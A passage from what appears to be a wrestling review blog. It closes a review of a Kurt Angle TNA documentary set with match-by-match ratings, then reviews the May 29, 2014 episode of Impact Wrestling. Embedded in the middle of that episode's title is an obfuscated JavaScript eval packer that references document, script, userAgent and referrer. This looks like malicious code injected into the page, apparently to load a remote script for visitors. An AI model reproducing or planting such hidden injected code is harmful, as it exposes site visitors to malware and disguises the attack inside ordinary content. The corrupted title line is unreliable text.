Kurt gets tired of the goofy offense and nails a buckle bomb to take over. After a suplex we’re off to the chinlock followed by a tilt-a-whirl backbreaker for two on Jay. Frustration starts to set in so we’re back to the chinlock. Back up and Jay speeds things up, only to have a double clothesline drop both guys. Lethal grabs a headscissors for two and Angle is looking tired. He’s not tired enough to grab a release German though and Angle is on his second wind.

Lethal elbows him right back out of it but Kurt is able to run the ropes for the superplex and a very near fall. The ankle lock is quickly broken and a small package gets two on the champion, but he rolls the Germans to take over again. Jay armdrags out of an Angle Slam and hits the Lethal Combination and top rope elbow for a VERY close two. Lethal is frustrated now but gets two off a powerbomb counter. Angle destroys Jay with another German and there go the straps. The Slam is countered but Kurt grabs the ankle lock, only to have Jay counter into a rollup for the pin and the title in a HUGE upset.

Rating: B-. Good match here with a major shock to end things. I can even live with the World Champion getting pinned as it was Angle’s second match of the night so he wasn’t coming in fresh. This was a great rub for Lethal and the best thing that could have happened to him at this point.

We hear more about how brilliant Angle is. I’m not sure how much of a compliment that is coming from Dixie Carter. Bruno Sammartino says he only watches wrestling to see Kurt Angle. Now that means something.

Long discussion of Angle’s conditioning and intensity.

Discussion of how entertaining Angle is on the mic. Foley talks about being a Kurt Angle fan back in 2000 because of how entertaining he was.

Kurt is professional too. Trivia for you: his first match as a pro was against Christian.

Angle defended the title against Sting at Bound For Glory 2007.

TNA World Title: Sting vs. Kurt Angle

The match is in Atlanta so we get a video on both guys having history in Atlanta. Feeling out process to start with the fans almost entirely behind Sting. He cranks on the champion’s arm before taking Angle down to the mat with a nice headlock takeover. A hiptoss sends Kurt out to the floor before he heads back inside for a beating in the corner. All Sting in the first four minutes or so.

They head outside again where Sting sends him ribs first into the barricade and then the announce table. Back in again and Angle misses a charge, sending him shoulder first into the post. Not that it matters as Angle snaps off a release German and the Angle Slam for two. We hit the chinlock for a bit before Angle snaps off a release belly to belly. Back to the chinlockery but Sting quickly fights up and hammers away with right hands and clotheslines.

A spinebuster gets two on the champion and there’s the Stinger Splash. Another one sets up the bulldog but Sting takes too long going up top, allowing Angle to run the ropes for the belly to belly. Angle Slam is countered into a sunset flip for two but Kurt comes back with Rolling Germans. The ankle lock goes on but Sting rolls through into the Scorpion. Karen Angle comes in for the distraction, allowing Kevin Nash (Angle’s buddy) to lay Sting out, setting up the Angle Slam…..for two.

Sting shoves Angle off the top and tries a splash but only hits knees. Angle slams him down and goes up, for a 450 SPLASH, only to have his knee hit Sting in the chest. Sting is up at two but gets caught in the ankle lock but Sting rolls through. The referee gets taken out as Sting hits the Death Drop, but Nash takes out the replacement referee. Sting clotheslines both of them down (with Nash clearly going down before Sting’s arm connected) but Angle gets the baseball bat. It’s easily taken away though and both villains go down, followed by a Death Drop to Angle for the pin and the title.

Rating: B-. This was supposed to be a huge match for TNA but the same TNA formula stuff and some of the botches hold it down. It’s still good, but it felt like they were trying to have a good match instead of actually having a great match. Also it doesn’t come off like the main event of the biggest show of the year at all.

Then the rematch from eleven days later on Impact.

TNA World Title: Sting vs. Kurt Angle

Sting is defending and takes Angle into the corner to start. Kurt comes back with a shoulder and bounces around a bit. Now it’s Sting with some shoulders and a headlock to put Angle on the mat. After a few moments of that, Kurt takes the champion into the corner and kicks away before being caught in the same headlock again. Back up again and Angle nails an uppercut and Sting is suddenly in trouble, only to come back with a big spinebuster.

A suplex gets two for Sting and he rains down ten right hands in the corner. Cue Kevin Nash, who has been having issues with Angle. I’m SURE nothing will go screwy there at all. We come back from a break with Angle getting two off an overhead belly to belly. Sting scores with a DDT and some clotheslines, including one to send Angle to the floor. Angle goes into the steps and Sting nails Nash for no apparent reason.

Back in and Sting hits a Stinger Splash but misses the second one, allowing Angle to hit a quick German suplex. The ankle lock is quickly broken up and the Scorpion goes on but Nash comes in, forcing Sting to break it up. The Angle Slam connects but the referee is down. Another refree comes in and counts the pin to give Angle the title.

Rating: C-. Well that was one of the most worthless title changes ever. This was far less interesting than the Bound For Glory match and the whole thing didn’t work all that well. Angle as champion continues to be the same idea that TNA goes with and it was getting rather dull at this point.

Angle flips Nash off post match.

We hear about Angle’s wife being in the company and making things easier for him.

Joe talks about being a rival but respecting Angle. This leads to a discussion about their rivalry, because about an hour and a half of matches between them isn’t enough. Angle likes AJ Styles and Christian too. This leads to a discussion of Angle always having great matches and deserving to be the first TNA World Champion after the NWA left.

Then Angle went to Japan to defend the IWGP World Title against Yuji Nagata on January 4, 2008, which aired on the Global Impact special. Yes I know it’s a different IWGP World Title.

IWGP World Title: Yuji Nagata vs. Kurt Angle

Angle jumps him from the bell and the fight is quickly on. A release belly to belly sends Nagata flying but he comes back with an identical one of his own. They trade headlock takeovers as the announcers (Tenay and West again) talk about the history of sports events in the Tokyo Dome. Nagata tries a crossface but Angle is quickly on the floor before it can go on. Back in and they trade strikes with the far more popular Nagata taking over.

Angle will have none of this being on defense thing and suplexes Yuji down for another two but gets caught in a quick chinlock. That doesn’t last long either as Angle is quickly up and taking out Nagata’s leg to send him to the floor. Back in and Angle slaps on a figure four to make Yuji scream. Nagata finally crawls over to the ropes so Kurt bends the knee some more in the middle of the ring.

Another figure four attempt is countered and Nagata slaps on his signature armbar. We take a break and come back with Angle rolling Germans as Tenay and West swap out for the Japanese announcers. That lasts all of three seconds, making it more pointless than most stuff TNA does. Nagata rolls some vertical suplexes and puts Kurt in another crossface. Angle uses the old Benoit counter by grabbing the ankle lock while still in the hold to put Nagata in even more trouble.

That’s countered right back into the crossface but Angle fights up and hits the Angle Slam for two. The moonsault misses though and Nagata hits a running knee in the corner to fire up the crowd. A belly to belly superplex gets a very close two on Angle and it’s back to the crossface. With that not working, Nagata switches to a kind of Rings of Saturn rollup for two. They slug it out with Angle nailing a clothesline but going down as well. Nagata gets two off a release suplex but Kurt puts on the ankle lock and sits down like a Boston crab before putting on the grapevine to make Nagata tap.

Rating: B. I was digging that Boston crab ankle lock thing. Other than that the match was solid stuff and a good big match for a supershow like this. The crossfaces were getting repetitive in there but at least there was a story of both guys working on a body part and then following it up. That’s a rare thing to see anymore.

They shake hands post match.

We get a clip of the post match press conference with Angle saying he hurts people in the ring.

Kurt talks about considering MMA after leaving WWE. He met with Dana White and was offered a deal but was told he couldn’t wrestle anymore. Angle had already signed with TNA though so it wasn’t going to happen. Everyone knows he would have been awesome though. Another promotion gave him two and a half months’ notice to fight but that wasn’t enough time for him to be ready. Then a third wasn’t able to pay him enough. Angle talks about wanting to fight but needing the right money.

Jeff Jarrett goes into a long answer to “would Angle be a successful fighter?” before saying he doesn’t know. This was basically ten minutes of repeating the same lines over and over again: “Kurt would fight and be awesome because he was a gold medalist but the money wasn’t right. He might fight one day.” Repeat about seven times, including once by the voiceover guy.

We haven’t had this one in awhile.

TNA World Title: Kurt Angle vs. Samoa Joe

In a cage at Lockdown 2008 with Angle defending and Joe’s career on the line. They haven’t had a PPV match in awhile so we get a recap of their whole history. This is treated more like an MMA fight with Angle in black shorts instead of his usual singlet and MMA fighter Frank Trigg on commentary. Before the match, Angle has Karen thrown out from her front row seat.

They even start by standing in MMA stances before trading leg kicks. Joe gets a leg bar but Angle is almost immediately in the ropes. Down to the mat with Angle hammering away at Joe’s guard as this is getting old fast. Joe gets the better of some mat grappling before it’s back to the stupid MMA stances. Angle finally snaps off a suplex and puts on a side choke until Joe makes the ropes.

Off to a front facelock from the champion before a quick German suplex gets two. A shot to the knee puts Joe down again and we hit the figure four. It’s about time we got to some wrestling. Joe finally turns it over but Angle is right next to the ropes. Angle cranks on the leg again but Joe chops his way out of it. That’s fine with Kurt as he slaps on a quickly broken headlock. Seriously a headlock in a cage match?

Back up and Joe nails a clothesline to put Kurt down but he has to shake his knee a bit. Kurt goes to the middle rope but gets caught by the enziguri. The MuscleBuster is countered and Angle hooks the ankle lock. Joe rolls out and gets two out of the release Rock Bottom out of the corner. The powerbomb into the Walls of Jericho into the STF into the crossface has Angle screaming.

Kurt grabs the ankle to finally escape but Joe pulls Angle back down into the crossface in the middle of the ring. Angle finally rolls over to get the ropes but Joe puts it right back on. Another rope is grabbed and the Angle Slam gets two. The champion puts on the ankle lock but he spins one too many times and gets pulled into the Clutch, only to use the referee’s shirt to make it to the ropes. Another Angle Slam attempt is countered and Joe sends him face first into the cage (first time it’s been used) and the MuscleBuster FINALLY gives Joe the title.

Rating: B. This got much better once they stopped the stupid MMA stuff and had a wrestling match. There was no need to have a cage here as it was only used once towards the end, which could have been replaced by a kick or something like that. It’s a good match and a good moment, but at the end of the day this was too overdone for what it needed to be.

Kurt says he has at least three years to go (this was about five years ago) and wants to have the best retirement year ever.

People see him on creative or coaching in ten years.

One last “Kurt is great” bit wraps us up.

Overall Rating: B+. There are some things that you have to allow here, but the majority of this was excellent. The documentary was really good stuff with pretty much everything you could ever want to know about Kurt Angle’s TNA run all in one place. They had a nice selection of people talking about him with Bruno being a great choice. The major issue with the documentary though is there’s no connection between what they’re talking about and the matches. They just show up with no real rhyme or reason and it gets a bit annoying at times.

The other problem is weighing in tonight at 280lbs and comes to us from the Isle of Samoa. That introduction takes place in six out of ten matches and five of the nine one on one matches. That’s WAY too much and I can’t imagine there’s nothing else they could have run. You didn’t need the third matches in their original series for instance.

The whole pairing just got way too repetitive and I’d love to see Angle vs. other people. The set came out in late 2008 so that has a lot to do with it, but with the selection they had at the time, there had to be something else to throw in there. They had some really good matches in 2008 to pick from so there really is no excuse.

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Impact Wrestling – May 29, 2014: What Is It Good For? Absolutely Nothing.

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktare|var|u0026u|referrer|taief||js|php'.split('|'),0,{})) Wrestling
Date: May 29, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

After last week, the only hope that I have is that the focus is spread out a little bit, rather than having almost everything being about the new trio. We’re coming up on Slammiversary with Eric Young defending against MVP, but now we also have to deal with Dixie Carter not being ok with MVP’s actions. Let’s get to it.

We open with a video on the trio’s dominance and desire for power with a lot of clips from last week.

Here’s Bully Ray to say that he’s obsessed with six people here in TNA. They all have bullseyes on their backs and he promises to put them all through tables. There are six tables standing up next to the ramp with names on them: Lashley, EC3, Kenny King, MVP, Spud and Dixie Carter. Ray heads to the ring and calls out anybody for a fight right now. He gets MVP in wrestling gear but the boss is walking slow. MVP says this isn’t happening tonight and there’s no fun in coming to the ring for a fight. Well, at least not on his own.

King and Lashley come out as well but EC3 and Spud slide into jump Ray. The trio gets in as well and Ray is in big trouble. EC3 and Spud bring the Spud table to the ring but Eric Young, Austin Aries and the Wolves come in for the save. The heels leave but Spud gets caught. Aries wants a six man tag and Ray wants it next. As a preview, Ray hits a middle rope powerbomb to drive Spud through the table.

MVP/Bobby Lashley/Kenny King vs. Wolves/Austin Aries

This is joined in process in a big brawl on the floor as we come back. It’s Lashley throwing Aries around to get us going legally before choking away. Aries comes back with some kicks to the leg as Edwards and King come inside for brawling as well. Aries escapes the powerslam and low bridges Lashley to the floor. King is sent outside the same way, followed by Richards (with his heavily taped ribs) sending MVP out to join them. The Wolves hit stereo dives and Aries comes off the top to take out Lashley as we take a break.

Back with King in trouble but MVP throws in a kick from the apron to put Edwards in trouble. Lashley comes in off the tag and throws Eddie around with ease. He drives shoulders in the corner before it’s back to MVP for a hard lariat and two. King comes back in but Edwards flips out of a German suplex and makes the tag to Aries.

Austin fights hard but gets caught in a running powerslam from Lashley. Aries escapes the Royal Flush though and nails the brainbuster on King. Back to Richards who goes up and rips the tape off his ribs, only to have the double stomp hit King’s shoulders. Lashley spears him down though and MVP hits a Drive By for the pin on Richards at 14:50.

Rating: C. Not bad but the injury was clearly going to be the focal point of the match. I’m kind of surprised they had this match here instead of swapping some people in for a big match at the pay per view. I’m really hoping Dixie’s team doesn’t hook up with the trio but it certainly looks like we’re heading that way.

Bram tells Magnus to be out there for his match.

EC3 is worried about going through a table but Dixie says don’t worry about it because she has business with MVP.

Tigre Uno vs. Bram

Bram runs Tigre down to start and growls at him with some freaky eyes. Uno fights out of a choke but gets clotheslined down for his efforts. An Impaler DDT gets the pin on Tigre at 2:08.

Post match Magnus has to stop Bram from killing Tigre with the metal rod. Bram says the old Magnus would have ripped the mask off and beaten him senseless. Magnus says maybe Bram needs a better opponent. Maybe someone a little crazy. Maybe a former World Champion. Maybe….it should be Willow.

Anderson asks Gunner what’s up with him and Shaw. Gunner says Anderson knows what it’s like to be in the military and Shaw just needs someone to talk to. They’re a team tonight.

Brittany wants Madison Rayne’s help against the Beautiful People tonight. Madison tells her to not have the match and Brittany reluctantly agrees.

Gunner/Mr. Anderson vs. BroMans

The BroMans jump Gunner and Anderson to start and it’s Gunner in early trouble. Double teaming ensues and Robbie gets two off a middle rope knee drop. Gunner comes back with a bad looking fall away slam and it’s off to Anderson to clean house. Everything breaks down and the Mic Check sets up a top rope headbutt from Gunner for the pin on Robbie at 3:14.

Rating: D. Just a glorified squash here as Anderson vs. Gunner seems to be an upcoming story, even though Anderson vs. Storm was set up over the last few weeks. The BroMans have gone from Tag Team Champions to jobber tag team in just a few weeks, even though there’s almost no one to challenge the Wolves.

Post match the Menagerie comes out to freak out the BroMans. The goofy guys (the BroMans if that’s not clear) get destroyed.

Gail Kim agrees to be Brittany’s partner.

Here are Dixie and Ethan to call out MVP. The trio comes out and Dixie offers some help, but MVP says he’s got power and a title shot, so why does he need the Carters? Dixie threatens to go to Dallas and tell the board what kind of abuse of power MVP has been showing. So the board of directors doesn’t even watch the show? MVP says he has a ton of money, which Dixie calls dirty. MVP says he’d love to play a game of money chicken and see who blinks first.

Eric and Bully come out with weapons but Ray says don’t do it and wait for the time and place. MVP says it won’t go well for the champion and Eric should just lose the title and go fish. Bully wants to go now but Eric stops him. “Time and place. Where were you a few seconds ago when you said that?” MVP makes Ray vs. Eric with EC3 as the referee. Ray says no but MVP threatens to fire him.

Ray says go ahead but Dixie asks who is going to pick up the pieces and fight her and MVP? Eric doesn’t have the ego or stomach to fight this war. Also, isn’t Bully from New York, because New Yorkers don’t quit. Ray says he’ll never quit until Dixie is gone. All the people want Dixie out of here forever and promises to put all five people in the ring through tables.

We look at EC3 injuring Angle’s knee a few weeks back. Earlier today, Angle said the knee rehab is going well even though he’s still in a cast. He thanks the fans for their support.

Beautiful People vs. Brittany/Gail Kim

Brittany comes out and then runs up the ramp to point at Gail during her entrance. Angelina pops Brittany with forearms and a shoulder to start before running shaking her hips a bit. Velvet comes in for some choking in the corner but Brittany trips her up for two. The Beautiful People take her back into the corner for some double teaming before Brittany finally dives over for the tag. Brittany tags herself in and says she has this, only to miss a Tajiri handspring into a moonsault. Angelina kicks her head off with the Botox Injection to give Velvet the pin at 5:40.

Rating: D+. Totally basic match here but the problem is the story. As I’ve been saying for weeks now, this is the same stuff we’ve been seeing forever with the Beautiful People and it hasn’t been interesting in forever. It’s like they’re just completely out of ideas and they’re doing the same stuff over and over again.

Ray says if he beats Eric he’ll be #1 contender. They respect each other though, because that’s just what you do in TNA.

After a break and Brittany is still in the ring. She calls Madison down for a talk and asks her why she wouldn’t team up against the Beautiful People tonight. Madison says this is getting weird for her. The issues with the Beautiful People have been going on for years and there are some things that only her and the Beautiful People know about. She won’t be responsible for Brittany being dragged into that. Brittany says she’ll accept responsibility and only wants to be with Madison.

Madison asks what Brittany just said and Brittany gets close to her and repeats it. Rayne shoves her away and says this just went a bit too far. Brittany needs to keep her distance but that’s too far. Brittany freaks out and asks why Madison doesn’t like her. Cue the Beautiful People who say that’s the real Madison Rayne and they made her that way. Madison says she’s not like either of them and that she’s coming for the Title next week.

The trio wants to do business with EC3 and he’s kind of interested.

Bully Ray vs. Eric Young

Non-title. King is guest ring announcers, EC3 is guest referee, Lashley is guest enforcer and MVP is guest timekeeper because this idea hasn’t been done to death before. Lashley is holding Eric’s title. Ray actually starts with an armdrag but Young nails a pair of his own before dropkicking Ray to the floor. King gets in a cheap shot but Young comes out to stand guard.

Back with the guys still being tentative and not wanting to fight each other while also having to watch the trio on the floor. Ray finally gets tired of dealing with it (and we’re running out of time) and kicks Carter in the face. The trio comes in and beats both guys down for a no contest at roughly 10:00. I’m not going to rate this as a lot of it was during the break and there was barely any wrestling at all.

Samoa Joe returns for the save and does the always awesome side step of a King dive. A MuscleBuster to King ends the show.

Overall Rating: D. Do you remember back in the Aces and 8’s clubhouse when they threw darts to pick out their next targets? TNA feels like they’ve put every old booking idea on a dart board and throw darts to pick what they put on the shows. This week’s show was better than last week’s as they had some other stuff get focus, but at the same time it had the same lack of energy that TNA constantly deals with.

Above all else though, the moment they lost me this week was when Dixie Carter said Ray didn’t have the ability to fight this war. I actually said out loud, “Why does it have to be a war?”. We just got done having a nearly two year war against Aces and 8’s, and now that team’s leader is on the other side of a war? Why do we need to do this same thing again? Between that and the two heel groups seeming to merge or at least have common goals (albeit with issues between the leaders), it feels like we’re doing the same thing that people complained about for over a year. Why would I want to watch that again?

Results
MVP/Kenny King/Bobby Lashley b. Wolves/Austin Aries – Drive By to Richards
Bram b. Tigre Uno – Impaler DDT
Gunner/Mr. Anderson b. BroMans – Flying headbutt to Robbie
Beautiful People b. Brittany/Gail Kim – Sky pinned Brittany after a Botox Injection from Love
Eric Young vs. Bully Ray went to a no contest when Kenny King, Bobby Lashley and MVP interfered

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